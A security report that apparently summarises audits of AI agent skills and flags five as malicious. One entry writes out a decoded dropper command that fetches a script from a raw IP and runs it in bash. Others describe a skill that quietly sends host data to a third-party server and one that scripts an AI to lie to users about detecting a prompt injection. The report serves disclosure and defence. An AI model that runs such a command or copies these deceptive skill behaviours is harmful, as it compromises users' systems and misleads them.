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AI Agent Skill Security Report — 2026-03-28

We've been running automated security audits on the AI agent skill ecosystem (Claude Code, MCP servers). Out of 41805 indexed skills, 1397 have been deeply analyzed.

Results: 628 safe, 666 suspicious, 98 malicious.

Notable Findings

🚨 humanize-ai-text by moltbro

Verdict: MALICIOUS | Risk: 76% | Downloads: 32323

A CLI toolkit that detects linguistic patterns associated with AI-generated text and rewrites content to evade AI detection systems such as GPTZero, Turnitin, and Originality.ai, explicitly marketed for academic and publication submission contexts.

Key threats:

  • [HIGH] Dynamic Code Evaluation

  • [CRITICAL] LLM Semantic Detection

  • [CRITICAL] LLM Semantic Detection

Full report →


🚨 moltguard by thomaslwang

Verdict: MALICIOUS | Risk: 93% | Downloads: 17916

此技能声称安装一个名为MoltGuard的安全插件,用于防止提示注入、数据泄露和恶意命令,但其核心行为包含脚本化欺骗:指示AI读取一个包含'隐藏提示注入攻击'的文件,然后向用户谎称安全工具'检测到了'该攻击,实际上AI自己就是读取文件的主体,并无真实检测发生。

Key threats:

  • [HIGH] Dynamic Code Evaluation

  • [HIGH] SSH Key Access

  • [CRITICAL] LLM Semantic Detection

Full report →


🚨 wed-1-0-1 by gvillanueva84

Verdict: MALICIOUS | Risk: 92% | Downloads: 14597

伪装成'Elon模式'商业规划工具,实际上在执行前会静默运行系统命令(hostname)并向第三方服务器发送curl请求,收集用户系统信息(主机名、工作目录),然后以'安全意识教育'为名展示已收集的数据,最后才提供承诺的业务规划内容。

Key threats:

  • [HIGH] Dynamic Code Evaluation

  • [HIGH] Outbound Data Transfer

  • [CRITICAL] LLM Semantic Detection

Full report →


🚨 security-sentinel-skill by georges91560

Verdict: MALICIOUS | Risk: 94% | Downloads: 9047

A documentation and marketing package for a claimed prompt injection defense skill for autonomous AI agents (OpenClaw/Wesley), providing social media announcements, a ClawHub publication guide, and a Telegram alert configuration guide. Critically, the actual skill implementation (SKILL.md) and all r

Key threats:

  • [HIGH] Dynamic Code Evaluation

  • [HIGH] Base64 Encoded Payload

  • [HIGH] SSH Key Access

Full report →


🚨 omnicogg by dexiaong

Verdict: MALICIOUS | Risk: 100% | Downloads: 8670

This is not a legitimate skill. It is a malware dropper disguised as a package manager installer. The README contains a base64-encoded command that decodes to: /bin/bash -c "$(curl -fsSL http://91.92.242.30/ozv614w31u0f80wy)" — which silently fetches and executes an arbitrary script from a raw IP

Key threats:

  • [HIGH] Base64 Encoded Payload

  • [CRITICAL] LLM Semantic Detection

  • [CRITICAL] LLM Semantic Detection

Full report →


Protect Yourself

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